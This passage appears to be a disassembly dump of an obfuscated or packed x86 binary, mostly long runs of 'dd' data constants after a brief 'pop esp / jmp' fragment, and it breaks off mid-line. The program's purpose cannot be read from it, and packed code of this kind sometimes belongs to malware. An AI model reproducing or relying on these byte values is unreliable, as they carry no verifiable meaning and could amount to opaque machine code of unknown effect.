[esp] pop esp jmp loc_536D7B ; --------------------------------------------------------------------------- dd 0EC209E85h, 0A07D2ECFh, 0B64F02A7h, 0B8A796A1h, 6255148h dd 0E0FFC503h, 10997552h, 3C838A65h, 2A277B33h, 11405EACh dd 2DC53489h, 343B3F0Bh, 4DA0EB91h, 1027773Bh, 7839464Ch dd 1C59871Ah, 55E55B1Ch, 2D1CF4F9h, 766CCA4Eh, 380A3053h dd 39DC2A78h, 45E52C8Dh, 1D4160A0h, 17794E57h, 3811FD23h dd 5627BE7Ch, 3D50A28Fh, 53258D8Dh, 0BF0F0625h, 758D89F2h dd 6A061E23h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 1058C356h, 0FE05F200h, 0F5D53ACBh dd 324D85C7h, 5944061Eh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0FC1024C3h, 0E9BF0755h dd 0E781F471h, 4D2401A8h, 316985C7h, 61Eh, 0F6810000h dd 4E43C922h, 13E5B5FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0DD4009C3h, 0C19D2B77h dd 0FF061E1Ah, 1E16B995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0B6B3799Ah dd 0A55DF92Dh, 0EE9525Dh, 0F2000000h, 5D886DA4h, 5A79D3FEh dd 42A4D91Eh, 6A5F05h, 26C195FFh, 0C08B061Eh, 7B866DEBh dd 0D068FE3h, 0AF47B6BDh, 773258CEh, 21F919B6h, 8A5031E5h dd 0BE330FEDh, 0D0A2F472h, 99679504h, 0A149DD0Ah, 789ECDA7h dd 0EFC9902Eh, 0A07FB769h, 3B040E49h, 0CD23B671h, 0C04ED442h dd 49B5D37Ah, 8EE25549h, 47D07B1Dh, 5F305159h, 68BC86BEh dd 0B01B8006h, 7B15836Bh, 0DD84B6A8h, 0E7989813h, 0DA654353h dd 2C2DBBE1h, 0EB14FDF0h, 25839B04h, 4FAE955h, 30D10000h dd 77F51085h, 9A1E39AEh, 0AC4B66DBh, 0F0759005h, 8577B82Dh dd 0BB30F57Ah, 0E25702A0h, 0D8227C7h, 31A64FF2h, 657F9531h dd 0F13F4A25h, 0F073643Ch, 31B64F31h, 59DCF76Ch, 9A1DB698h dd 0D860F9DBh, 0B6B33719h, 7A3BBE70h, 0A144EA05h, 0C86D112Ch dd 8B54DE6h, 5197B826h, 0FE821F9Fh, 6D945537h, 0A5BEF8h dd 0CAFAE5Dh, 0F4ED8365h, 0E43924D2h, 302E9DE3h, 0E981C5D4h dd 5Ch, 31F07333h, 0D329B94Fh, 189E3924h, 0E35F87Dh, 5110932Ch dd 9AE0016Fh, 8DD3D4C0h, 0C5D4201Eh, 1D981h, 73230000h dd 0D60E2CF5h, 24D324C0h, 3EED3239h, 7C25C35Ch, 0BB7A019Ah dd 0A4BD55D9h, 637A5C05h, 0DFB4CA66h, 0CB7AA1A0h, 0A8500248h dd 0F6799409h, 6780BA2Fh, 0B66E1DC4h, 4D2FF273h, 8B6D34B4h dd 0F0C1070Ah, 0AE9051D7h, 0C5ECD597h, 739A50D6h, 7D20C5C4h dd 0AB4AED08h, 0E58C30C9h, 1DD86A03h, 581DA23Bh, 0ACF2F576h dd 0D91FBCD2h, 0C5BA7C6Ah, 9A3581h, 737F0000h, 954D2FF2h dd 35B4B5FEh, 8B3AB4B6h, 6749E88Ch, 0EEA0E6E3h, 142FA449h dd 53ECCE93h, 0E40016D4h, 72392588h, 0DA08B02Dh, 7DFEC370h dd 27C47456h, 548472E1h, 7C3D81C5h, 21000000h, 0E1C36608h dd 73B97120h, 0D9112FF2h, 24D321C3h, 41F03539h, 0A520C65Fh dd 0BB7C5E07h, 50773ABCh, 0E4FA32h, 563924D3h, 0C66F1211h dd 0FB9A3517h, 0E76203B5h, 7BFA140h, 24D2F3F1h, 0F71E6339h dd 0F0A977Ah, 436A2B76h, 465C94CEh, 3925BE9Eh, 561B9BB8h dd 8D8CB374h, 0E19948F5h, 1F35F573h, 3924D2C5h, 43254C91h dd 24D334ADh, 5DA3A439h, 0C5D4F0EEh, 1A981h, 73F30000h dd 12D758F1h, 0CD7009EBh, 0B3D44224h, 2239BB6Dh, 0A72BA76Bh dd 0B9AFA309h, 21FB74F1h, 79A05DE5h, 639D3452h, 504123D7h dd 7853C877h, 5A92B0C1h, 5FD80C22h, 397E3925h, 674F8E8Ah dd 0B4F93F43h, 3EF87D96h, 757BC28h, 2E559A33h, 0FADC8B4Ch dd 0A33FDE61h, 3F5ACFF6h, 7D13F5BCh, 33075765h, 0C97BC160h dd 48617F26h, 0DB50FFBAh, 92743DC0h, 0CDAF76F9h, 5103494Ch dd 0BA9207AEh, 87E34FBCh, 585468FFh, 80A4DE84h, 13A29D1h dd 0B3730000h, 97CFED86h, 5335F87Eh, 4E139392h, 0FCAB6Ch dd 3F42EFC9h, 78301257h, 3719D85Fh, 2EEB7776h, 0DEFD807Fh dd 99AC353Ch, 73E80FEEh, 2A0CD558h, 2947EE91h, 4209DBF1h dd 3AC23306h, 0C3C2077Bh, 0D99A7C25h, 29C7482Ah, 4EEF7210h dd 52D584ABh, 9D223B0Ch, 8EB57C00h, 6DEF4ACh, 50330642h dd 3635E40Bh, 437DF2B3h, 41EFF50Bh, 22673306h, 65B9B773h dd 4C7287E4h, 0BC000000h, 0D3F18AB3h, 24D377BDh, 0C0627F39h dd 98D0EE15h, 24D26282h, 0AFF439h, 0D25C881Eh, 0A5A63924h dd 0D550ED5Fh, 0C91BDFEBh, 1182FF64h, 92F794Ch, 306886ADh dd 2505CA1Ah, 98478C39h, 5D0647Ah, 0E1263925h, 72626Ch dd 0B3300000h, 0B9CFED86h, 3F42EA3Ch, 7C15F73Ch, 8B30E2F9h dd 4371B498h, 684B72Dh, 335A9F33h, 0AF95CFB6h, 0AED57FDBh dd 0B1C7FF39h, 3306CF33h, 302FDE23h, 6C02E48Dh, 3306CF73h dd 0B567AD4Ch, 23FE7332h, 293F5D16h, 392C2150h, 79921330h dd 9FF42F76h, 583A61EDh, 0F58E7097h, 63D1B372h, 0AF8AFC42h dd 0EB8EA4C2h, 95330664h, 89193250h, 0D4A81DCCh, 0CFED86B3h dd 4A26C0B9h, 5D7BC03Fh, 0F208A244h, 32FF7FF2h, 49F81F64h dd 8A2BCE67h, 3BC2DB15h, 29CCCB7Ah, 0AA516A88h, 0B968290Bh dd 66061FD7h, 1D1CDDBFh, 32F3D598h, 5A878783h, 15AD8600h dd 0A141617Eh, 8E8DEA0Fh, 0A36446EFh, 792B71F4h, 9FBA2FF6h dd 3BFA7D1Ch, 0DDD071Dh, 3479DFFEh, 0EB922B0Dh, 94132C4Ah dd 7B2AEBCDh, 0C40A2B99h, 57775CF3h, 3BB5B5F3h, 19DD071Dh dd 3479DFFEh, 42E38685h, 8E0FB2CDh, 0AA3A50EEh, 0ACDFFE19h dd 0FB194067h, 1A37ADC3h, 0DA1FDFFEh, 8C1492Bh, 8F000000h dd 0F4BD3B54h, 737A5245h, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh dd 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h dd 3D1FC6h, 47DB68h, 24148900h, 314B68h, 242C8900h, 51F868h dd 241C8900h, 6A43B850h, 0D0F748C1h, 0B5561005h, 3E0C164h dd 235D8F7h, 502645F2h, 0AF243481h, 5D3F2F43h, 43AFF581h dd 83583F2Fh, 248904ECh, 24048324h, 56555B04h, 0A123CCBEh dd 24740102h, 438F5E04h, 86B8108h, 2A123CCh, 52241C8Bh dd 0C281E289h, 4, 4C281h, 14870000h, 34FF5C24h, 0C4815D24h dd 4, 0F9270EE9h, 0DA70B5FFh, 0DC42058Eh, 0F22429Bh, 25580CB8h dd 0FFC50306h, 0C18F83E0h, 0E6997B29h, 1304CE61h, 25CF2C0Fh dd 9A04EB25h, 0E94CE3E8h, 514h, 0FE732EB3h, 279C45E3h dd 54C9680Ch, 7EF3B239h, 0AA1FC263h, 0CB6C7769h, 0C96B126h dd 3DC1DC51h, 45E80378h, 8B27279Ch, 4A2A6F75h, 0F432E73Fh dd 9CE46E5Dh, 0CB7ADC64h, 31F07313h, 6C31B64Fh, 0E400164Eh dd 723924D2h, 0CF097E2Dh, 0BF6E37B6h, 6D1E3DC0h, 0D7551D41h dd 0EE26446Bh, 0AE904DD5h, 56F3F1EDh, 1E633925h, 71F48D6Fh dd 0BEFB92B0h, 670D2CB2h, 6902E493h, 0CF152BC3h, 0DD3925C2h dd 25C31DC7h, 80F43939h, 0AE32143Bh, 50307F16h, 8E60509Ah dd 64165CDFh, 90AB20C1h, 0BBD64BEEh, 0FB94763Bh, 3FD8BA67h dd 7D16F8B9h, 0BB3C3BFAh, 939014F6h, 0E39F734Dh, 18AA23CAh dd 9354365Dh, 691B61E4h, 90AB20C5h, 0CC6244EDh, 3924F015h dd 0D7CC2C3h, 81C5B80Fh, 5CC8h, 0F0731200h, 29B94F31h dd 0B13924D3h, 0FDFB6AB0h, 0B681C5D4h, 1, 2CF57300h, 445A924Ah dd 3924D2A0h, 0C3C271B6h, 631EA425h, 0B799C081h, 0B8D69F1Eh dd 7658199Fh, 1CFEBE5Fh, 3960025Eh, 8C24A88Ah, 0A5A63E54h dd 6BB03925h, 41F339BCh, 0D99C22BBh, 9A0F36F7h, 0C035FC7Fh dd 2FF273ECh, 6D34B44Dh, 0C1070A8Bh, 0BED46E0Fh, 3924D326h dd 0A6C4EB30h, 6244E98Dh, 627DF2A1h, 9B3416DFh, 0C6765819h dd 8674E329h, 3F81C5D2h, 0A4h, 6C630A23h, 45466F3Ah, 62446BC1h dd 733AF2A1h, 0B44D2FF2h, 79149930h, 894A2CE9h, 98BF8062h dd 0EF3532B6h, 0BE67051Eh, 0CC7B3EBFh, 678528CDh, 0CC4CACD0h dd 1BA2BF24h, 90B7785Ah, 0AC516CE1h, 566F2709h, 6C2D0FD6h dd 763FBEBDh, 0F5BC3F58h, 17B46446h, 40E700D1h, 4836F2A1h dd 8B81C584h, 0BA968EF4h, 13C236FCh, 5A6Bh, 0F273B500h dd 7C954D2Fh, 955638F9h, 0A3521396h, 0E78702A4h, 0A14342h dd 0D95EF7D9h, 17993214h, 4FD36C4Eh, 65ABA892h, 37508A8Bh dd 4F10F2B7h, 25D71DA0h, 9468DD80h, 0E2CF573h, 0FFAE77F5h dd 0D25A871Dh, 7D7E3924h, 0D4CAC837h, 0F40D81C5h, 10D1B36Eh dd 1B961h, 73030000h, 7B1230F1h, 627DDBBh, 4BEBEAB2h, 5403C4A6h dd 1AA1BA72h, 1940E183h, 42587637h, 39254CA2h, 0C1C06FB4h dd 2795773Eh, 6A0EC006h, 31C56CBh, 1CDDBF62h, 0EF8BAE6Dh dd 254D0BD9h, 0DF064B39h, 6001A8C1h, 0C45B93B1h, 966A781Eh dd 0A3C7445Dh, 1347E721h, 0AF2E2AD9h, 993F43AEh, 56D97254h dd 917336B7h, 1934A9D0h, 35EDCF96h, 28D79A1Ch, 79EB62Ch dd 2A700F33h, 0E2CF578h, 9F24C0D6h, 0ED323307h, 0C8AA4BEEh dd 0C8E35807h, 0B8FC2625h, 7EBEA88Ch, 9D203957h, 0AA4325D4h dd 0FB7C5E07h, 7D00B2F8h, 69673FB4h, 2287E356h, 13Bh, 0ED86B36Ch dd 0F010B9CFh, 0F3103F42h, 0A486AD74h, 469EB4ECh, 103306B6h dd 9A1D1CCBh, 0A84B66DBh, 566F2709h, 605F0ED7h, 0F7BA3CDDh dd 4B2D5415h, 93132CCAh, 0D1295978h, 0A3CA5E06h, 75982526h dd 0FAA99DE3h, 0FC7F3177h, 0F042AADFh, 8CB3D83Dh, 21C4DD17h dd 1715D180h, 0D087E4D0h, 5Fh, 0FC3F1DB4h, 4AEA962Fh, 8AB3E39Bh dd 829BD3F1h, 8F8B3AFBh, 3924D2A5h, 942A0C51h, 3924D250h dd 5638F97Bh, 997B3ABDh, 0F8D21815h, 18E92F30h, 0D6B879FFh dd 96A76615h, 0DEC07D05h, 0C2D8F61Dh, 3924D272h, 0E9213F84h dd 24D211D3h, 84284539h, 133AFBDDh, 21D09114h, 7DA2ACh dd 0B3700000h, 0B9CFED86h, 3F42EA3Ch, 7C15F73Ch, 89C338F9h dd 7B2ACF70h, 5638F97Ch, 6BBE079Eh, 0C951F71Ch, 0AEC11E1Ah dd 5FFE3306h, 0C7C46719h, 5D2CF12Eh, 4F6583DDh, 3305F095h dd 0E0557CC1h, 213F3405h, 0C7F852E9h, 0DBD9E520h, 2E67302Ch dd 1055392Bh, 5312952Eh, 8F4AD871h, 0F89114ADh, 10D1B376h dd 868307E9h, 71926640h, 0BF415A2Bh, 0B18847F6h, 0B8CA2C0h dd 0B13305D5h, 0B323F76Ch, 97CFED86h, 24D26381h, 4558F339h dd 3728B56Eh, 6886355Ch, 4B134552h, 1432773Fh, 621EC6DCh dd 0F3383300h, 0FDAC75F4h, 3FFF821Bh, 61BB29h, 2F569B33h dd 0C46780BAh, 0CC6F6E1Dh, 0BEAD4325h, 307DC718h, 0B83BED33h dd 0C66984F9h, 5A43D1Fh, 0F0063E5Ch, 0E839ABF4h, 8C6E1D62h dd 5B7FD1Eh, 334EC362h, 870FF1B0h, 3, 73A77F55h, 0B85133EEh dd 0F18A6C35h, 2DC6A84Dh, 6D06E895h, 0AA4325C8h, 0E57E6005h dd 24BD9F46h, 66FFE180h, 3D1FC6h, 6A1468h, 24048900h, 210668h dd 241C8900h, 74E068h, 24148900h, 2D3EBE56h, 82682D6Eh dd 5BD8B72Bh, 685EF301h, 5030h, 83242489h, 5A042404h, 8428F53h dd 5A2434FFh, 4C481h, 1C8B0000h, 0E7895724h, 4C781h, 0C7830000h dd 243C8704h, 21D1E95Ch, 475FFF9h, 7FA7B398h, 255D74B8h dd 0FFC50306h, 0DF1B42E0h, 0A1D6693Fh, 2018CC04h, 0BFEFF218h dd 81B67915h, 589F9B6Bh, 0C9230973h, 6B7ACE68h, 4F719230h dd 3F973842h, 0FABA5B42h, 1FFB912Bh, 2AA7EB24h, 0A98D8D1Ah dd 6606255Eh, 578AE881h, 23758D89h, 0CB81061Eh, 4043AD3Ah dd 0C7C0B70Fh, 1E324D85h, 661C06h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 9A85AF64h dd 0C81CBB6Ah, 9D893F0Dh, 61E1B89h, 316985C7h, 61Eh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 293429C3h, 0E280B1A6h, 11B5FF45h, 53061E2Dh, 95FF5EF5h dd 61E16B9h, 30018509h, 6A061Eh, 26C195FFh, 0C08B061Eh dd 3AB04CEBh, 31EE15CCh, 964EF26Bh, 9A03FE6h, 57994A95h dd 45F78052h, 93B99289h, 0C690C5CAh, 64958B36h, 3CDA0E67h dd 0C46E3C8Dh, 13B0F3ECh, 0D25875Dh, 0EFACF9DAh, 414662B2h dd 0F09B3AA9h, 0EF4595F2h, 0ED34CDB5h, 0AE4AB809h, 4EB12C1h dd 2C53394Fh, 51BE9h, 28D56E00h, 511098B3h, 763FC1DCh dd 9E47E601h, 0C4690E29h, 111C0E4Fh, 3954C96Ch, 5C77ECA9h dd 87A217DAh, 0C8C83DE4h, 31CE162Ch, 0D3883F4Ah, 3AF073FBh dd 24D2C024h, 445A9639h, 3924D2A0h, 234A71B6h, 2DB7CD05h dd 293924D3h, 0BA5335E4h, 0E0FB7035h, 0F6069D5Dh, 0CA1556FFh dd 5D855F5Bh, 8CD13925h, 59B04765h, 1669010Eh, 0DD765807h dd 0A722C35Ah, 0BE7F6100h, 0F58E7097h, 7790AE77h, 8E4F31F0h dd 7C79FDDFh, 40E18436h, 6B0EB0CBh, 965BDBF6h, 0C727E178h dd 494E876Fh, 831FB89Ah, 8821B8D6h, 0C4570EBEh, 0C9740E0Dh dd 957726E7h, 0B0526B27h, 31FD49AFh, 2E55E357h, 0BA0E8B4Ch dd 667F0A87h, 0A5EB6E1Dh, 39AE73F3h, 9C41E6FFh, 87E0031Fh dd 0CF7E8AE2h, 0A2842DD0h, 25BED50Ch, 4E670339h, 612204A9h dd 7AE92FB2h, 81C4E87Ch, 4B35h, 0F0737F00h, 0C5DB1331h dd 3924D31Fh, 6143F237h, 24D317CBh, 7CC2C339h, 0C5D50F0Dh dd 0A2BB5281h, 337290B3h, 115BD6Ch, 5F000000h, 0D054F573h dd 0C5ECA939h, 19FB22E3h, 5739F880h, 94763FBEh, 1BCD1310h dd 445FD49Dh, 0B78B00A1h, 4D2FF273h, 4F6D34B4h, 40EFB636h dd 263FDD5Eh, 0AA2DDC81h, 680DB264h, 8C55D8F3h, 706F11AAh dd 120D76ADh, 0BD9FC64Eh, 0BB2A700Dh, 81C5C2CDh, 0A186h dd 0F273D000h, 70F8112Fh, 5F0ECFB1h, 0AA40E47Dh, 24D35094h dd 44C10639h, 0D96DC71Dh, 76587FA3h, 0BC415AF2h, 81C74AF9h dd 0A2352ECFh, 7ACA9001h, 0A6BFDD04h, 0D9605F06h, 0C6753618h dd 0ECB13651h, 0B439520Ah, 3F80FF1h, 912D6784h, 2E2DDC03h dd 5404E68Fh, 0EA7F031Ch, 0FDBEA045h, 8433F4D6h, 5E4CBB01h dd 1781C50Fh, 4Dh, 2FF27361h, 0BEFE954Dh, 9B632EABh, 0EB8B8A39h dd 37CB6446h, 6F0FA88Ah, 8586E8CAh, 0C564653Fh, 8528CD7Fh dd 2A3FD610h, 264A70FCh, 61767BAEh, 7C09DAE4h, 0F57315CDh dd 2DB44A2Ch, 0AB3924D3h, 0F7F564AAh, 0B081C5D4h, 1, 56BD54FAh dd 6F0AD489h, 1A9E9D4Ch, 83243D5Bh, 8C3BFCDEh, 53D9F2AAh dd 4C7332BAh, 18AAA96Ah, 0CAFAE5Dh, 0F4158365h, 0B978FCAEh dd 0A3D06944h, 0D66E6F85h, 95DA3F43h, 0CE971AB3h, 0FABB3E59h dd 0C6608218h, 0C7673307h, 6A74022h, 0FD8163h, 40DFE0BAh dd 0FCA548FAh, 28C96C87h, 6B0AAD46h, 0BF050889h, 56CB6A0Dh dd 0E960031Ch, 0FBBC9E47h, 0B431F2D4h, 2C06521Ah, 8743F2FDh dd 87E3CC89h, 12942h, 86B38C00h, 10B9CFEDh, 103F42F0h dd 0AD50E9CBh, 0F1748F04h, 83EE93DAh, 63796EB0h dd 3306C081h, 426990D5h, 7D24C760h, 0D1171A9Bh, 60D59C1Fh dd 0E3E68A88h, 4F4387h, 548D0000h, 16F8B93Bh, 0F709D855h dd 0E0724C01h, 0A6CB7231h, 0B5C27288h, 17343925h, 2FF0D297h dd 2DD1EA08h, 36E5A688h, 0B526BE54h, 0DBDC3925h, 611A2395h dd 0EB740B43h, 0B171762h, 36FEFAA9h, 0C039257Fh, 0A3445D7Bh dd 0D0DA4FFEh, 0A2h, 0ED86B39Eh, 0FF7E97CFh, 869C5436h dd 3924D25Eh, 0DD8CB3F8h, 42EA14E1h, 11F643Fh, 90A644E8h dd 3306BB54h, 0E796BD02h, 50C96C05h, 662709A8h, 0CAFCA3Fh dd 0F90F4765h, 3306BAEBh, 9577266Bh, 7F22C4DDh, 0BC0BD4D0h dd 15B43306h, 47E5FECFh, 0A18322C6h, 0B0AB9E0h, 7954C968h dd 5D95B3C0h, 0B9D50F25h, 3C813306h, 194B918Dh, 0DEFB392Ch dd 7B3ABD58h, 0CFB1D899h, 6C05E70Eh, 0D84628C9h, 9A071B7h dd 48054E85h, 6E2DDC41h, 7288A6CBh, 3306DB6Ah, 417997DCh dd 0BC1DB92Bh, 0A9589D26h, 1C546034h, 24D2DE06h, 84337839h dd 0E1FF74C5h, 4A3211CBh, 0EF0353Fh, 0BE33F275h, 436100A3h dd 0D495B4ACh, 0E392BB4Ch, 7CE76B01h, 0D8D55D75h, 945DE092h dd 29CCE51Fh, 57DAD988h, 0D757708Eh, 0E8816312h, 4A82A041h dd 88C1B034h, 990BA608h, 9F11F922h, 0D7B9688Fh, 31024869h dd 0FF01E3F9h, 10550887h, 0C0DF6261h, 22148014h, 5F7DA4ECh dd 1D083DC8h, 0C2C19EFBh, 52C7763Fh, 0BEDB437h, 67AFBC53h dd 0C66702DBh, 32917h, 7FF70000h, 33EE73A7h, 6C35B851h dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh dd 0E18024BDh, 1FC666FFh, 5452003Dh, 4C2815Ah, 83000000h dd 148704EAh, 89505C24h, 405E0h, 0E8830000h, 24048704h dd 242C895Ch, 5E08950h, 4, 42Dh, 24048700h, 2434895Ch dd 33F4B951h, 0E18149D5h, 61147EAEh, 0D39FE981h, 0CD893AEEh dd 83240C8Bh, 0EC8304C4h, 24248904h, 4240483h, 63B3685Eh dd 2C890000h, 24348124h, 261C2FB5h, 8108468Fh, 2FB50876h dd 34FF261Ch, 0C4835E24h, 2434FF04h, 4C4835Dh, 0F91B86E9h dd 42A668FFh, 4D66D2FFh, 256392B8h, 0FFC50306h, 0D95566E0h dd 0F54AE113h, 0B2B38F57h, 6B32B44Bh, 1FA37668h, 6E876h dd 4AF60000h, 0A077CCBCh, 1D850Fh, 13E80000h, 0B0000000h dd 0A276A784h, 0B22AA04Ah, 0D51D58EFh, 0C12CECAFh, 0BB661060h dd 595B7B45h, 0DE9h, 0D18EEE00h, 530E1EC9h, 0C8C5B238h dd 0C18119DCh, 59DCh, 11E9h, 240E2900h, 0C1E6104Eh, 0CFBAFF1Ah dd 0F14EA70Ch, 68B41Dh, 81000000h, 0D48F54EAh, 85B75E1Fh dd 8B313C8Bh, 18C781D0h, 0B459FAF9h, 55C781AAh, 660483D4h dd 0EF81D18Bh, 386B332Bh, 0E70FBB51h, 895B41D8h, 0BBF5313Ch dd 2852CF23h, 31D3EE81h, 0F381083Ch, 78B060E1h, 31CFC681h dd 0FE81083Ch, 0FFFFA6DCh, 0FFB6850Fh, 8A0FFFFFh, 6, 7901F381h dd 4EB4D9Dh, 50AF23BDh, 4F2E9h, 1CD96A00h, 45EC8CA7h, 7233B5D0h dd 9A5BE2FDh, 0C0650A25h, 0D180A4Bh, 3550C568h, 607BF0ADh dd 8BA61BDEh, 0D4D449E8h, 37C22238h, 0DF943F4Ah, 3FFA88A1h dd 0F073D890h, 31B64F31h, 59DCF76Ch, 9A1DB698h, 0D860F9DBh dd 0B6B33719h, 7A3BBE70h, 0A144EA05h, 0D16D112Ch, 1BEB3B3Ah dd 211D1F9Bh, 3924FBC3h, 0F4D14E93h, 2F96128Fh, 0D70F2D54h dd 25C423C1h, 0ED422A39h, 0D23F8C52h, 886A195Eh, 2BCE53EFh dd 0C0E7A88Ah, 94F70DEh, 0FAEA0038h, 5C39259Bh, 0C5696817h dd 0ED90AB20h, 15CC6244h, 0C339259Ch, 0F0D7CC2h, 0C881C50Ch dd 60h, 31F07312h, 0D329B94Fh, 1B9E3924h, 59DF785Ah, 5354B698h dd 0AB47330Dh, 9B4AEB92h, 6563D218h, 1E81C5D4h, 1, 2CF57368h dd 6A0BB14Ah, 0D148EF88h, 81638A2Bh, 0E9BA00FDh, 816379B1h dd 0D53924D2h, 0D3509490h, 0C7FD3924h, 32D727BFh, 0F5789509h dd 5756052Ch, 809B10D1h, 0EBBF34FDh, 112FF273h, 743DC0D9h dd 0FD5D192h, 473924D3h, 0D8715302h, 7134B950h, 2CCF684Ah dd 650AA385h, 4121096Ah, 30570419h, 87CDCA4Eh, 7DC3C6ADh dd 12872ACBh, 0E85774F7h, 11DC2261h, 60F9DB02h, 9A3315DCh dd 0D66F5114h, 0FAA8C51h, 3A502A70h, 0FAE8579Dh, 0B381C53Fh dd 0B5h, 0BB3B54FDh, 0A74847F6h, 0E5872002h, 0D6871E3Ch dd 7E5D441Eh, 40670AABh, 2E2BAF91h, 64FE17E8h, 6A0B0AB9h dd 532ABAD0h, 6C823925h, 39255278h, 0E02599DEh, 6D9441E1h dd 1A5BEF8h, 1C43FE84h, 0CBCA793Ah, 0CA5872Ah, 32E2C46Dh dd 38ACC2FAh, 1E392553h, 7E701483h, 3D642A9Eh, 56C50B8Eh dd 81C52A68h, 7121h, 1F6E0500h, 7A506FF5h, 892CD1D0h, 0F27322DAh dd 32B44D2Fh, 4D261D19h, 0E30A52D6h, 1DC46801h, 5A1BA23Bh dd 0B1F7F478h, 0F137D6D7h, 0F3248920h, 0A74BE972h, 0B174F9F8h dd 5AF37A93h, 4E60DC8h, 0E51F9443h, 0CD9D7D4Eh, 0EE9DF7C7h dd 2CF57336h, 0D32DB44Ah, 0AAAB3924h, 0F37A9364h, 0D1395032h dd 0FB2F79B1h, 1BD786ADh, 81C55B1Dh, 1D6h, 0F1732000h dd 32B54E30h, 73551C9Bh, 3BA98BB2h, 9E22D41Ah, 1CA0B9D7h dd 5631A655h, 5A708EE3h, 3F42DA83h, 59E80C5h, 334EC362h dd 790FF1B0h, 3306CA69h, 6609225Ch, 6D1CDDBFh, 4FF2A4EAh dd 931631A6h, 0A138F0D2h, 1F864300h, 2726D599h, 0A6BFDD84h dd 0CEB05F06h, 0BEDB035h, 0B34FCE72h, 3C632406h, 85CBEC5Ah dd 7BC1C4ABh, 46EF91AAh, 4DFCA547h, 0DB4AB4Eh, 0BBEC3D56h dd 7C54C9F0h, 87E4947Eh, 0F737h, 0CDE31B00h, 33060717h dd 934BFA3Fh, 0CFED86B3h, 0D2638197h, 0AEF33924h, 90A9E1FFh dd 112745ECh, 3924D2D3h, 938F3E83h, 3F42F036h, 0DD842740h dd 178B3AFBh, 0D457F0D2h, 0FA7D980Dh, 63041D3Bh, 743DBFBEh dd 0A74AE3C5h, 0FD9B1CFEh, 0BD9F42E4h, 84CA4DFCh, 11862FD2h dd 0E3F03B39h, 2EF487h, 0B33E0000h, 0BDD3F18Ah, 3924D377h dd 7938BCD5h, 0B327D697h, 0EEF68C6Eh, 143924D2h, 0E25BCD13h dd 0CF657B99h, 273924D2h, 69636DE2h, 31000000h, 0CFED86B3h dd 42EA3CB9h, 15F73C3Fh, 0D960F97Ch, 4E753618h, 7A3BBED9h dd 0BCDD0298h, 5EE43306h, 0BB4E96ACh, 0C3083306h, 9D21BA9Ch dd 3635F6D8h, 0AD0FF1ACh, 8B8C66ACh, 71F4A6ECh, 0D9603BB0h dd 2C427A98h, 3306BAB8h, 8CAA599Eh, 2C1F6A76h, 0BD9FE439h dd 0FEE08124h, 0B7296F90h, 0BDD3F182h, 3306BB23h, 9D71E62Bh dd 0CFED86B3h, 4A3827B9h, 0E2273Fh, 0A81DC467h, 18D6556Eh dd 0FF6DE202h, 82F7432h, 0B7B66526h, 780D9534h, 905133F6h dd 0A8604269h, 3C52E88Fh, 32FF6DA8h, 934269AEh, 89B81E97h dd 21676489h, 20CFCC6Fh, 13E54A4Fh, 41F94BBh, 6AA2C061h dd 75279054h, 6381C6DCh, 7527974Dh, 0CB7ABFDCh, 8A950E9h dd 0F1EE8D26h, 0CD705A0Ah, 7A5C83C1h, 0B6985DE1h, 2FE12748h dd 4506E889h, 0E3294A1Eh, 0C9E78E31h, 886A0FB0h, 88A318C7h dd 9213E6E5h, 0CB942543h, 0C3AC2A4h, 8000000h, 81AA417Fh dd 13A80904h, 730DC574h, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh dd 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h dd 3D1FC6h, 524268h, 242C8900h, 81E28952h, 4C2h, 4EA8100h dd 87000000h, 895C2414h, 0F0682414h, 8900003Fh, 0B850241Ch dd 3BC2015h, 451CBD55h, 0E8310599h, 58C2895Dh dd 241C8B54h, 6804C483h, 0B0Eh, 8F241489h, 34FF0843h, 0C4835B24h dd 2434FF04h, 4C4815Ah, 0E9000000h, 0FFF915A7h, 0B858FC65h dd 6256998h, 0E0FFC503h, 0E538998h, 1CAB6B7h, 3D9A9A64h dd 3B2C5CB9h, 167E69ADh, 5FE3C4E4h, 276ACCA9h, 7C5ED347h dd 6CF58628h, 5CC341F0h, 4D39D0D9h, 1BD41236h, 2C53AFB4h dd 3D1DFA2Fh, 342C4224h, 751CBC99h, 42E9BDD9h, 712B99Dh dd 5D39CD3Dh, 641124F4h, 749BD247h, 3C3E238Dh, 6EAE525h dd 5E46139Bh, 53F4FFD5h, 10EBh, 3 dup(0) dd 0C08B0000h, 2B39958Bh, 0BD83061Eh, 61E1D79h, 83097500h dd 1E2B25BDh, 19740006h, 0C08B5350h, 42DB8h, 0E9858900h dd 8D061E0Ch, 20AC3A9Dh, 5BD3FF06h, 25BD8358h, 61E2Bh dd 53501774h, 42DB8h, 0E9858900h, 8D061E0Ch, 20A9299Dh dd 5BD3FF06h, 0AD952958h, 89061E1Eh, 1E2A7D85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0F3B4BAC2h, 69BB2D78h, 200D958Bh, 0C08B061Eh, 0CE8h dd 27F86B00h, 1B71863Dh, 0DD39B753h, 91B589B6h, 5E061E2Bh dd 1D458D8Bh, 1FB6061Eh, 0F00F983h, 0A484h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0A8C4EA74h, 0FF82A9B9h, 8B645012h, 2C3Dh, 0F18D8900h dd 0E9061E1Fh, 11h, 99996497h, 0A1667E84h, 423D4B26h, 0A9B39A64h dd 0FFF0B34h, 5484h, 8BD68B00h, 0DE93Fh, 1B7F0000h, 99F52B91h dd 0E96CACE8h, 600E0B10h, 0D0D8D33h, 8A0F061Eh, 3, 61FA8B66h dd 6AC032h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 